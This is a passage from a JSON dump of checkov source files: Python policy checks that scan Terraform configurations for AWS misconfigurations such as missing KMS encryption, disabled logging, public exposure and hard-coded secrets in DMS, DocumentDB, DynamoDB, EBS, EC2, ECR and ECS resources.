f\"policy_details/schedule/{idx}/cross_region_copy_rule/{c_idx}/encrypted\"]\n                                self.evaluated_keys = [\n                                    f\"policy_details/schedule/{idx}/cross_region_copy_rule/{c_idx}/cmk_arn\"]\n                                return CheckResult.FAILED\n                        return CheckResult.PASSED\n        return CheckResult.UNKNOWN\n\n\ncheck = DLMScheduleCrossRegionEncryptionWithCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/DMSEndpointUsesCMK.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass DMSEndpointUsesCMK(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure DMS endpoint uses Customer Managed Key (CMK)\"\n        id = \"CKV_AWS_296\"\n        supported_resources = (\"aws_dms_endpoint\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        engine_name = conf.get(\"engine_name\")\n        if engine_name and isinstance(engine_name, list) and engine_name[0] == \"s3\":\n            self.evaluated_keys = [\"s3_settings\"]\n            s3_settings = conf.get(\"s3_settings\")\n            if s3_settings and isinstance(s3_settings, list):\n                self.evaluated_keys = [\"s3_settings/server_side_encryption_kms_key_id\"]\n                settings = s3_settings[0]\n                if settings.get(\"server_side_encryption_kms_key_id\"):\n                    return CheckResult.PASSED\n            return CheckResult.FAILED\n\n        self.evaluated_keys = [\"kms_key_arn\"]\n        kms_key = conf.get(\"kms_key_arn\")\n        if kms_key and isinstance(kms_key, list) and kms_key[0]:\n            return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n\ncheck = DMSEndpointUsesCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/DMSReplicationInstanceEncryptedWithCMK.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass DMSReplicationInstanceEncryptedWithCMK(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure DMS replication instance is encrypted by KMS using a customer managed Key (CMK)\"\n        id = \"CKV_AWS_212\"\n        supported_resources = ['aws_dms_replication_instance']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"kms_key_arn\"\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = DMSReplicationInstanceEncryptedWithCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/DMSReplicationInstanceMinorUpgrade.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass DMSReplicationInstanceMinorUpgrade(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure DMS replication instance gets all minor upgrade automatically\"\n        id = \"CKV_AWS_222\"\n        supported_resources = [\"aws_dms_replication_instance\"]\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"auto_minor_version_upgrade\"\n\n\ncheck = DMSReplicationInstanceMinorUpgrade()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/DMSReplicationInstancePubliclyAccessible.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass DMSReplicationInstancePubliclyAccessible(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        name = \"DMS replication instance should not be publicly accessible\"\n        id = \"CKV_AWS_89\"\n        supported_resources = ['aws_dms_replication_instance']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'publicly_accessible'\n\n    def get_forbidden_values(self):\n        return [True]\n\n\ncheck = DMSReplicationInstancePubliclyAccessible()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/DMSS3UsesCMK.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass DMSS3UsesCMK(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure DMS S3 uses Customer Managed Key (CMK)\"\n        id = \"CKV_AWS_298\"\n        supported_resources = (\"aws_dms_s3_endpoint\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"kms_key_arn\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = DMSS3UsesCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/DatasyncLocationExposesSecrets.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass DatasyncLocationExposesSecrets(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure DataSync Location Object Storage doesn't expose secrets\"\n        id = \"CKV_AWS_295\"\n        supported_resources = (\"aws_datasync_location_object_storage\",)\n        categories = (CheckCategories.SECRETS,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"secret_key\"\n\n    def get_forbidden_values(self) -> list[Any]:\n        return [ANY_VALUE]\n\n\ncheck = DatasyncLocationExposesSecrets()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/DeprecatedLambdaRuntime.py",
    "content": "from typing import List, Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass DeprecatedLambdaRuntime(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Lambda Runtime is not deprecated\"\n        id = \"CKV_AWS_363\"\n        supported_resources = ['aws_lambda_function']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"runtime\"\n\n    def get_forbidden_values(self) -> List[Any]:\n        # Source: https://docs.aws.amazon.com/lambda/latest/dg/lambda-runtimes.html\n        return [\"dotnetcore3.1\", \"nodejs12.x\", \"python3.6\", \"python2.7\", \"dotnet5.0\", \"dotnetcore2.1\", \"ruby2.5\",\n                \"nodejs10.x\", \"nodejs8.10\", \"nodejs4.3\", \"nodejs6.10\", \"dotnetcore1.0\", \"dotnetcore2.0\",\n                \"nodejs4.3-edge\", \"nodejs\", \"java8\", \"python3.7\", \"go1.x\", \"provided\", \"ruby2.7\", \"nodejs14.x\",\n                \"nodejs16.x\", \"python3.9\", \"dotnet7\", \"dotnet6\"\n                # , \"nodejs18.x\" # Uncomment on Sept 1, 2025\n                # , \"provided.al2\" # Uncomment on Jun 30, 2026\n                # , \"python3.9\" # Uncomment on Nov 3, 2025\n                ]\n\n\ncheck = DeprecatedLambdaRuntime()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/DocDBAuditLogs.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck\n\nACCEPTED_VALUES = (\n    \"enabled\",  # Legacy value, but still valid\n    \"ddl\",  # Equivalent to the legacy value enabled\n    \"all\",\n)\n\n\nclass DocDBAuditLogs(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure DocumentDB has audit logs enabled\"\n        id = \"CKV_AWS_104\"\n        supported_resources = (\"aws_docdb_cluster_parameter_group\",)\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        self.evaluated_keys = [\"parameter\"]\n\n        if \"parameter\" in conf:\n            for idx, elem in enumerate(conf[\"parameter\"]):\n                if isinstance(elem, dict) and elem[\"name\"][0] == \"audit_logs\":\n                    if any(v in elem[\"value\"][0] for v in ACCEPTED_VALUES):\n                        self.evaluated_keys = [f\"parameter/[{idx}]/name\", f\"parameter/[{idx}]/value\"]\n                        return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = DocDBAuditLogs()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/DocDBBackupRetention.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass DocDBBackupRetention(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure DocumentDB has an adequate backup retention period\"\n        id = \"CKV_AWS_360\"\n        supported_resources = ['aws_docdb_cluster']\n        categories = [CheckCategories.BACKUP_AND_RECOVERY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"backup_retention_period\"\n\n    def scan_resource_conf(self, conf):\n        if conf.get(\"backup_retention_period\", [1])[0] >= 7:\n            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = DocDBBackupRetention()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/DocDBEncryptedWithCMK.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass DocDBEncryptedWithCMK(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure DocumentDB is encrypted by KMS using a customer managed Key (CMK)\"\n        id = \"CKV_AWS_182\"\n        supported_resources = ['aws_docdb_cluster']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"kms_key_id\"\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = DocDBEncryptedWithCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/DocDBEncryption.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass DocDBEncryption(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure DocumentDB is encrypted at rest (default is unencrypted)\"\n        id = \"CKV_AWS_74\"\n        supported_resources = ['aws_docdb_cluster']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"storage_encrypted\"\n\n\ncheck = DocDBEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/DocDBGlobalClusterEncryption.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass DocDBGlobalClusterEncryption(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure DocumentDB Global Cluster is encrypted at rest (default is unencrypted)\"\n        id = \"CKV_AWS_292\"\n        supported_resources = ('aws_docdb_global_cluster',)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"storage_encrypted\"\n\n\ncheck = DocDBGlobalClusterEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/DocDBLogging.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck\n\nLOG_TYPES = (\"profiler\", \"audit\")\n\n\nclass DocDBLogging(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure DocumentDB Logging is enabled\"\n        id = \"CKV_AWS_85\"\n        supported_resources = (\"aws_docdb_cluster\",)\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        logs_exports = conf.get(\"enabled_cloudwatch_logs_exports\")\n        if logs_exports and isinstance(logs_exports, list):\n            if any(elem in logs_exports[0] for elem in LOG_TYPES):\n                return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> list[str]:\n        return [\"enabled_cloudwatch_logs_exports\"]\n\n\ncheck = DocDBLogging()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/DocDBTLS.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck\n\n\nclass DocDBTLS(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure DocumentDB TLS is not disabled\"\n        id = \"CKV_AWS_90\"\n        supported_resources = ['aws_docdb_cluster_parameter_group']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        self.evaluated_keys = ['parameter']\n        if 'parameter' in conf:\n            for idx, elem in enumerate(conf[\"parameter\"]):\n                if isinstance(elem, dict) and elem[\"name\"][0] == \"tls\" and elem[\"value\"][0] == \"disabled\":\n                    self.evaluated_keys = [f'parameter/[{idx}]/name', f'parameter/[{idx}]/value']\n                    return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = DocDBTLS()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/DynamoDBGlobalTableRecovery.py",
    "content": "from typing import Dict, List, Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass DynamodbGlobalTableRecovery(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure DynamoDB point in time recovery (backup) is enabled for global tables\"\n        id = \"CKV_AWS_165\"\n        supported_resources = ['aws_dynamodb_global_table']\n        categories = [CheckCategories.BACKUP_AND_RECOVERY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        # This field cannot be set in terraform's aws_dyanmodb_global_table\n        # https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/dynamodb_global_table\n        return CheckResult.PASSED\n\n\ncheck = DynamodbGlobalTableRecovery()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/DynamoDBTableReplicaKMSUsesCMK.py",
    "content": "from typing import Any\r\n\r\nfrom checkov.common.models.enums import CheckCategories\r\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\r\nfrom checkov.common.models.consts import ANY_VALUE\r\n\r\n\r\nclass DynamoDBTableReplicaKMSUsesCMK(BaseResourceValueCheck):\r\n    def __init__(self):\r\n        name = \"Ensure DynamoDB table replica KMS encryption uses CMK\"\r\n        id = \"CKV_AWS_271\"\r\n        supported_resources = ('aws_dynamodb_table_replica',)\r\n        categories = (CheckCategories.ENCRYPTION,)\r\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\r\n\r\n    def get_inspected_key(self) -> str:\r\n        return 'kms_key_arn'\r\n\r\n    def get_expected_value(self) -> Any:\r\n        return ANY_VALUE\r\n\r\n\r\ncheck = DynamoDBTableReplicaKMSUsesCMK()\r\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/DynamoDBTablesEncrypted.py",
    "content": "from typing import Dict, List, Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass DynamoDBTablesEncrypted(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure DynamoDB Tables are encrypted using a KMS Customer Managed CMK\"\n        id = \"CKV_AWS_119\"\n        supported_resources = [\"aws_dynamodb_table\"]\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        if 'server_side_encryption' in conf.keys():\n            sse = conf['server_side_encryption'][0]\n            if isinstance(sse, dict):\n                enabled = sse.get(\"enabled\", None)\n                kms_key_arn = sse.get(\"kms_key_arn\", None)\n                if enabled == [True] and kms_key_arn is not None:\n                    return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['server_side_encryption/[0]/enabled', 'server_side_encryption/[0]/kms_key_arn']\n\n\ncheck = DynamoDBTablesEncrypted()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/DynamodbRecovery.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass DynamodbRecovery(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure DynamoDB point in time recovery (backup) is enabled\"\n        id = \"CKV_AWS_28\"\n        supported_resources = ['aws_dynamodb_table']\n        categories = [CheckCategories.BACKUP_AND_RECOVERY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"point_in_time_recovery/[0]/enabled\"\n\n    def get_expected_values(self):\n        return [self.get_expected_value(), 'true']  # terraformer exports this as the string 'true'\n\n\ncheck = DynamodbRecovery()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/EBSDefaultEncryption.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass EBSDefaultEncryption(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure EBS default encryption is enabled\"\n        id = \"CKV_AWS_106\"\n        supported_resources = (\"aws_ebs_encryption_by_default\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n            missing_block_result=CheckResult.PASSED,\n        )\n\n    def get_inspected_key(self) -> str:\n        return \"enabled\"\n\n\ncheck = EBSDefaultEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/EBSEncryption.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass EBSEncryption(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure all data stored in the EBS is securely encrypted\"\n        id = \"CKV_AWS_3\"\n        supported_resources = ['aws_ebs_volume']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"encrypted\"\n\n\ncheck = EBSEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/EBSSnapshotCopyEncryptedWithCMK.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass EBSSnapshotCopyEncryptedWithCMK(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure EBS Snapshot Copy is encrypted by KMS using a customer managed Key (CMK)\"\n        id = \"CKV_AWS_183\"\n        supported_resources = ['aws_ebs_snapshot_copy']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"kms_key_id\"\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = EBSSnapshotCopyEncryptedWithCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/EBSVolumeEncryptedWithCMK.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass EBSVolumeEncryptedWithCMK(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure EBS Volume is encrypted by KMS using a customer managed Key (CMK)\"\n        id = \"CKV_AWS_189\"\n        supported_resources = ['aws_ebs_volume']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"kms_key_id\"\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = EBSVolumeEncryptedWithCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/EC2Credentials.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.util.secrets import string_has_secrets\nfrom typing import List\n\nAWS = 'aws'\n\n\nclass EC2Credentials(BaseResourceCheck):\n\n    def __init__(self):\n        name = \"Ensure no hard-coded secrets exist in EC2 user data\"\n        id = \"CKV_AWS_46\"\n        supported_resources = ['aws_instance', 'aws_launch_template', 'aws_launch_configuration']\n        categories = [CheckCategories.SECRETS]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if 'user_data' in conf.keys():\n            user_data = conf['user_data'][0]\n            if isinstance(user_data, str) and string_has_secrets(user_data, AWS):\n                conf[f'{self.id}_secret'] = user_data\n                return CheckResult.FAILED\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['user_data']\n\n\ncheck = EC2Credentials()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/EC2DetailedMonitoringEnabled.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass EC2DetailedMonitoringEnabled(BaseResourceValueCheck):\n\n    def __init__(self):\n        name = \"Ensure that detailed monitoring is enabled for EC2 instances\"\n        id = \"CKV_AWS_126\"\n        supported_resources = ['aws_instance']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'monitoring'\n\n    def get_expected_value(self):\n        return True\n\n\ncheck = EC2DetailedMonitoringEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/EC2EBSOptimized.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass EC2EBSOptimized(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that EC2 is EBS optimized\"\n        id = \"CKV_AWS_135\"\n        supported_resources = ['aws_instance']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"ebs_optimized\"\n\n\ncheck = EC2EBSOptimized()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/EC2PublicIP.py",
    "content": "from typing import List, Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass EC2PublicIP(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        name = \"EC2 instance should not have public IP.\"\n        id = \"CKV_AWS_88\"\n        categories = [CheckCategories.NETWORKING]\n        supported_resources = [\"aws_instance\", \"aws_launch_template\"]\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n        )\n\n    def get_inspected_key(self) -> str:\n        if self.entity_type == \"aws_instance\":\n            return \"associate_public_ip_address\"\n        elif self.entity_type == \"aws_launch_template\":\n            return \"network_interfaces/[0]/associate_public_ip_address\"\n\n        return \"\"\n\n    def get_forbidden_values(self) -> List[Any]:\n        return [True]\n\n\ncheck = EC2PublicIP()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ECRImageScanning.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass ECRImageScanning(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure ECR image scanning on push is enabled\"\n        id = \"CKV_AWS_163\"\n        supported_resources = ['aws_ecr_repository']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"image_scanning_configuration/[0]/scan_on_push\"\n\n\ncheck = ECRImageScanning()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ECRImmutableTags.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass ECRImmutableTags(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure ECR Image Tags are immutable\"\n        id = \"CKV_AWS_51\"\n        supported_resources = (\"aws_ecr_repository\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"image_tag_mutability\"\n\n    def get_expected_value(self) -> Any:\n        return \"IMMUTABLE\"\n\n\ncheck = ECRImmutableTags()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ECRPolicy.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom cloudsplaining.scan.resource_policy_document import ResourcePolicyDocument\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass ECRPolicy(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure ECR policy is not set to public\"\n        id = \"CKV_AWS_32\"\n        supported_resources = (\"aws_ecr_repository_policy\",)\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        conf_policy = conf.get(\"policy\")\n        if conf_policy and conf_policy[0]:\n            if isinstance(conf_policy[0], dict):\n                try:\n                    policy = ResourcePolicyDocument(policy=conf_policy[0])\n                    if policy.internet_accessible_actions:\n                        return CheckResult.FAILED\n                except (TypeError, AttributeError):\n                    return CheckResult.UNKNOWN\n            else:\n                return CheckResult.UNKNOWN\n\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> list[str]:\n        return [\"policy\"]\n\n\ncheck = ECRPolicy()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ECRRepositoryEncrypted.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass ECRRepositoryEncrypted(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that ECR repositories are encrypted using KMS\"\n        id = \"CKV_AWS_136\"\n        supported_resources = ['aws_ecr_repository']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'encryption_configuration/[0]/encryption_type'\n\n    def get_expected_value(self):\n        return \"KMS\"\n\n\ncheck = ECRRepositoryEncrypted()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ECSClusterContainerInsights.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass ECSClusterContainerInsights(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure container insights are enabled on ECS cluster\"\n        id = \"CKV_AWS_65\"\n        supported_resources = ['aws_ecs_cluster']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if 'setting' in conf.keys():\n            for idx, setting in enumerate(conf['setting']):\n                if isinstance(setting, dict) and setting['name'] == ['containerInsights']:\n                    value = setting['value']\n                    if isinstance(value, list):\n                        value = value[0]\n                    self.evaluated_keys = [f'setting/[{idx}]/name', f'setting/[{idx}]/value']\n                    return CheckResult.PASSED if value in ['enabled', 'enhanced'] else CheckResult.FAILED\n        return CheckResult.FAILED\n\n\ncheck = ECSClusterContainerInsights()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ECSClusterLoggingEnabled.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\nfrom typing import Any, List\n\n\nclass ECSClusterLoggingEnabled(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        name = \"Ensure ECS Cluster enables logging of ECS Exec\"\n        id = \"CKV_AWS_223\"\n        supported_resources = [\"aws_ecs_cluster\"]\n        categories = [CheckCategories.LOGGING]\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n        )\n\n    def get_inspected_key(self) -> str:\n        return \"configuration/[0]/execute_command_configuration/[0]/logging\"\n\n    def get_forbidden_values(self) -> List[Any]:\n        return [\"NONE\"]\n\n\ncheck = ECSClusterLoggingEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ECSClusterLoggingEncryptedWithCMK.py",
